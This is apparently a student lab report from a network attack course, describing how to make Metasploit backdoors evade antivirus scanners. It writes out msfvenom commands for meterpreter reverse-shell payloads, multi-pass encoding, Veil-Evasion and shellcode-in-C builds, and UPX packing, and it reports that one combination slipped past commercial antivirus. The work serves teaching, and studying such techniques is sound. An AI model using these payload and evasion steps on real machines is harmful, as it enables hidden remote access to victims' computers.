zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175316盛茂淞《网络对抗技术》Exp3 免杀原理与实践

    2019-2020-2 20175316盛茂淞《网络对抗技术》Exp3 免杀原理与实践

    一、实验目标

    • 熟悉后门的概念
    • 使用netcat实现win,linux之间的后门连接
    • 掌握meterpreter的应用
    • 了解MSF POST 模块的应用
    • 学会win,linux的后门启动方式

    二、基础问题回答

    1.杀软是如何检测出恶意代码的?

    • 基于特征码的检测(需要定期更新病毒库)
    • 启发式恶意软件检测(实时监控,开销较大)
    • 基于行为的恶意软件检测(如API监控)

    2.免杀是做什么?

    • 通过伪装,加解密,对shellcode进行变形,利用veil进行重写重编译等手段防止生成的后门被杀软检测出来

    3.免杀的基本方法

    • 改变特征码
      • 加壳(拥有.exe文件)
        • 压缩壳
        • 加密壳
      • shellcode+encoder
      • 重写重编译(veil-evasion或者手工)
      • 半手工化(主流)
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据(如https)
      • 操作系统
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

    三、实验内容

    任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法

    1.免杀检测

    • 在实验二中使用msf生成了后门程序,可以使用VirusTotalVirscan或这两个网站对生成的后门程序进行扫描。
      • 用VirusTotal扫描后结果如下:72款杀软中58款报出了病毒,不加处理的后门程序能被大部分的杀软检测到

      • Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。

    2.确使用msf编码器,生成exe文件

    • 编码后呢,按理论上讲,编码会降低检出率,理论上讲多编码几次,总会检不出来。
    • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.136.129 LPORT=5316 -f exe > met-encoded.exe
    

    • 生成十次编码的后门程序:
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.136.128 LPORT=5316 -f exe > encoded10.exe
    

    • 由此可见经过编码后虽然被检测出的概率下降了,但是大多数杀软还是可以将其检测出来。

    3.msfvenom生成其他文件

    • 生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 x > 20175316jar.jar
    

    • VirusTotal检测结果:

    • 生成jsp文件:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 x> 20175316jsp.jsp
    

    • VirusTotal检测结果:

    • 生成php文件:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 x> 20175316php.php
    

    • 使用VirusTotal扫描结果如下,这个明显就少很多

    • 生成apk文件:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 x> 20175316apk.apk
    

    • VirusTotal检测结果:

    4.使用veil-evasion生成后门程序及检测

    • sudo apt-get install veil命令安装Veil,历经千辛万苦,文末有安装中所遇到的问题及解决方法

    • 成功

    • 输入veil指令,进入如下个界面

    • 输入use evasion

    • 之后输入命令use c/meterpreter/rev_tcp.py进入配置界面

    • 使用set LHOST 192.168.136.128设置反弹连接IP地址(注意此处的IP是虚拟机Kali的IP)

    • 使用set LPORT 5316设置端口

    • 使用generate命令生成文件,接着输入生成的playload的名称veil20175316,保存路径为/var/lib/veil/output/source/veil20175316.exe

    • 丢到virustotal中看看veil生成的隐蔽性如何

    • 结果显示veil效果也不是太好,依然有过半的杀软可以把它揪出来

    5.注入Shellcode并执行(嵌入式Shellcode)

    • 首先使用命令:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 -f c
    

    • 创建一个文件20175316.c,然后将unsigned char buf[]赋值到其中,代码如下:

    • 使用命令:i686-w64-mingw32-g++ 20175316.c -o 20175316.exe编译这个.c文件为可执行文件

    • 使用VirusTotal却检测出很多问题

    6.加壳工具

    • 加壳是对相应的资源进行压缩,压缩后仍可运行。
    • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
    • 它可以用来保护版权,但同时许多病毒也利用它来作为原理。

    使用命令upx 201753167.exe -o 20175316_2.exe对20175316.exe加壳

    • 上传到virustotal中

    (加壳以后能够检测出的杀软少了,但是过半的杀软还是可以检测出的)

    7.其他方法

    • 采用Veil-Evasion的其他荷载生成后门方式

    • 进入use evasion

    • 使用list查看可用的有效荷载:

    • 选择载荷cs/shellcode_inject/virtual.py

    • 输入option,查看有效荷载的选项

    • 修改用户名后使用generate生成,选择shellcode平台时选择2

    • 输入生成文件的文件名,选择Py2Exe生成exe文件

    • 之后,生成的rc文件放入了路径/var/lib/veil/output/handlers/中,可执行文件放入了/var/lib/veil/output/source/

    • 将可执行文件上传到virustotal中看看效果:

    • 完美

    任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    • 方法1
      • 使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门
      • 之后使用一种编码方式生成一个迭代多次的c语言shellcode数组,然后再生成exe文件,之后加壳:使用压缩壳(UPX)和加密壳(Hyperion)
    • 方法2
      • 使用之前的Veil,c/meterpreter/rev_tcp.py生成的exe可执行文件加UPX压缩壳可以成功逃过腾讯电脑管家
      • 然后在kali上监听并回连

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 电脑环境:win7
    • 杀软名称:360安全卫士(11.5.0.2001)

    四、实验中遇到的问题及解决方法

    问题1

    • 就是安装不了veil
    • 解决方法
      1.安装前先修改一下系统的更新源
    sudo su
    apt-get purge veil-evasion
    apt-get update
    apt-get upgrade
    

    2.在安装前执行如下指令安装wine32:

    mkdir -p ~/.cache/wine
    cd ~/.cache/wine 
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    

    3.使用命令cd /usr/share/veil/config/进入该文件夹,使用ls查看该文件夹的内容
    使用命令vim setup.sh编辑文件,第251行把github仓库改成码云的仓库, https://gitee.com/spears/VeilDependencies.git

    4.遇到下面问题,运行后面的指令

    五、实验总结与感悟

    经常出现回连不成功的现象,特别是加密壳,我觉得大概是个玄学。(没错我还没有解决这个问题)
    emmm诚实的说,我做实验的时候成功的案例,过了几个小时之后,就不能免杀了。。然后的话我就换了shellcode,又重新做了一遍,可以实现免杀,电脑管家更新病毒库还是可以的吧?
    至今不知道在无360、电脑管家巴拉巴拉一堆杀软的情况下,如何在windows defender下实现杀软(毕竟我试了,这一切实验对于windows defender都是渣渣。。)

  • 相关阅读:
    Ubuntu无法初始化软件包信息
    数组名做函数的参数
    Printf函数中%p代表什么数据类型
    assert()函数用法总结
    C语言printf 格式 zz
    零值指针指向何处? zz~
    命名空间“System.Net”中不存在类型或命名空间名称“Sockets”。是否缺少程序集引用?
    AD20配置为中文显示
    sharepoint:实现搜索功能
    sharepoint:爬网完成后上传新文档搜索不到(设定爬网Schedule)
  • 原文地址:https://www.cnblogs.com/sms369/p/12621159.html
Copyright © 2011-2022 走看看